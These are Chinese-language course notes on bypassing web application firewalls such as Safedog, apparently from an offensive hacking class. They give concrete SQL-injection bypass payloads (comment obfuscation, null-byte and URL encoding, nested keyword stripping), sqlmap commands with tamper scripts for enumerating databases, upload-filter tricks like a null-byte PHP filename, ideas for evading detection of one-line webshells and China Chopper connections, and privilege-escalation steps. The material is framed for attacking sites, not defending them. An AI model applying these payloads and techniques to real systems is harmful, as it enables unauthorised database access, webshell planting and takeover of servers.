WAF
Web Application Firewalf(web安全防火墙)
wtf -waf
针对脚本黑客拦截的
WAF防护原理讲解
目标扫描绕过waf
手工注入绕过waf
sqlmap注入绕过waf
编写sqlmap绕过waf脚本
过WAF一句话编写详解
菜刀连接绕过WAF
Webshell上传绕过WAF
提权绕过waf
and 1=1 正常 1=2 报错 说明有注入漏洞
百度:安全狗
服务器版,网站版
/ .0 -0 .1 绕过安全狗
WAF绕过原理讲解:
了解waf防护原理
查看waf防护位置
熟悉防护规则
了解防护机制
查看拦截时间阈值
waf还能拦截cmd,phpinfo等等的函数,中国菜刀一句话拦截
资源防护->...
cc攻击防护规则
单ip访问上限100次/10秒 冻结5分钟
目录扫描绕过waf
两种方式:
第一:修改客户端ip
第二:减慢扫描速度(主要针对100次/10秒)
第三:通过代理欺骗waf
目标ip
信息收集->OWASP DirBuster->Options
需要一个bypass.txt 让它默认为百度到的爬行蜘蛛
手工注入过waf
搭建测试环境
了解绕过原理
熟悉常见绕过构造语句
构造绕过测试语句
Navicat去连接数据库
测试需要在数据库里面测试,要先保证数据库里面能查出来,然后才能拿去前台测试
reg:mssql
id=5/*^d^*/and/*^c^*/1=1
id=5/*^d^*/and/*^c^*/1=2 报错的话就说明绕过了
之前的注入绕过方法:
1.大小写变种
2.使用SQL注释
3.使用URL编码
4.使用空字节
5.使用嵌套过剥离
6.使用非标准入口点
7.避开自定义过滤器
1.大小写变种
and 1=2
AnD 1=3
2.使用注释:
union select 1,2,3,3,4,5 from admin
注释完
/**/union/**/select/**/1,23,44,5,6 from admin
/**/un/**/io/**/n/**/sel/**/ec/**/t/**/1,23,45,6, from admin
第二种注释:
/*!and*/1=2 (效果显著)
加入特殊符号在注释里,来干扰waf
有些符号加入后数据库能查出数据,但是前台不能正常显示数据
url编码
正常编码
'为%27
/ =%2f *==%2a %=%25
/**/==%252f%%252a*/ 还原点击Encoding->URL decode
使用空字节
一些过滤器在处理输入时,如果碰到空字节就会停止处理
我们通常也会利用空字节进行绕过过滤器
如:
id=1 %00 and 1=2
%00在数据库里面是查不出数据的,必须经过url转码
利用嵌套剥离
有些过滤器会从用户的输入中进行剥离一些敏感的函数
那我们可以通过函数的嵌套进行绕过一次剥离
selselectect
剥离后
select
使用非标准入口点
说白了就是攻击他的冷门
需要自己去挖掘
一些连过滤器都没发现的注入点即可
避开自定义过滤器
一些过滤器它所过滤的字符串都是事先写入写好的
只要我们输入的语法和他们过滤打的不匹配即可绕过
比如 and
转换为 a+nd
a%nd
'a'nd
%A0and
总结编写绕过语句:
利用注释
/*^ABC^*/
包含关键字
/*!/*!/*!union*/
变换提交方式
将get改为post或者cookie提交
reg:/*!40001and*/1=1
sqlmap tamper利用
symboliclogical.py
space2mssqlhash.py
appendnullbyte.py
利用修改tamper绕过waf
sqlmap.py -u "xx.x.x.x.x?id=2" --delay=1 控制访问时间次数 ,1秒钟延迟
sqlmap.py -u "xx.x.x.x.x?id=2" --delay=1 --tamper=symobliclogical.py 加入插件来跑(cracer博客上讲解了每一个插件是干嘛的)
'--dbms'==mysql
如果sqlmap跑出来之后,接下来开始跑下面的:
sqlmap.py -u "xx.x.x.x.x?id=2" --delay=1 --tamper=symobliclogical.py --current-db (跑数据库名称)
(手工用 order by 19/18) 返回错误/返回正常 跑数据库字段
实战编写过waf一句话
编写过狗一句话思路
利用可变变量
$a=b
$b=c
$$a=c
利用函数
利用判断语句
利用编码
突破waf拦截菜刀连接
可以使用最新版菜刀
中国蚁剑客户端
可以使用过狗菜刀+中转脚本
上传绕过waf
上传突破禁止上传php文件
第一:文件包含
第二:双文件上传突破限制
第三:修改上传参数
代理抓包,send to repeater
connection: close(修改它下面的一句话)
reg1:--WebKit....(后面随便改)
reg2:filename="2p.php%00.png"
reg3:fo+rm-data;
reg4: name-->NAME='upfile'
提权过waf
通过程序读密码
利用waf绕过神器
利用exp读hash
讲用户添加到远程桌面组,并且给目录降权
利用第三方软件提权
干掉waf必须要在驱动层,不是在应用层,来干掉,得用c写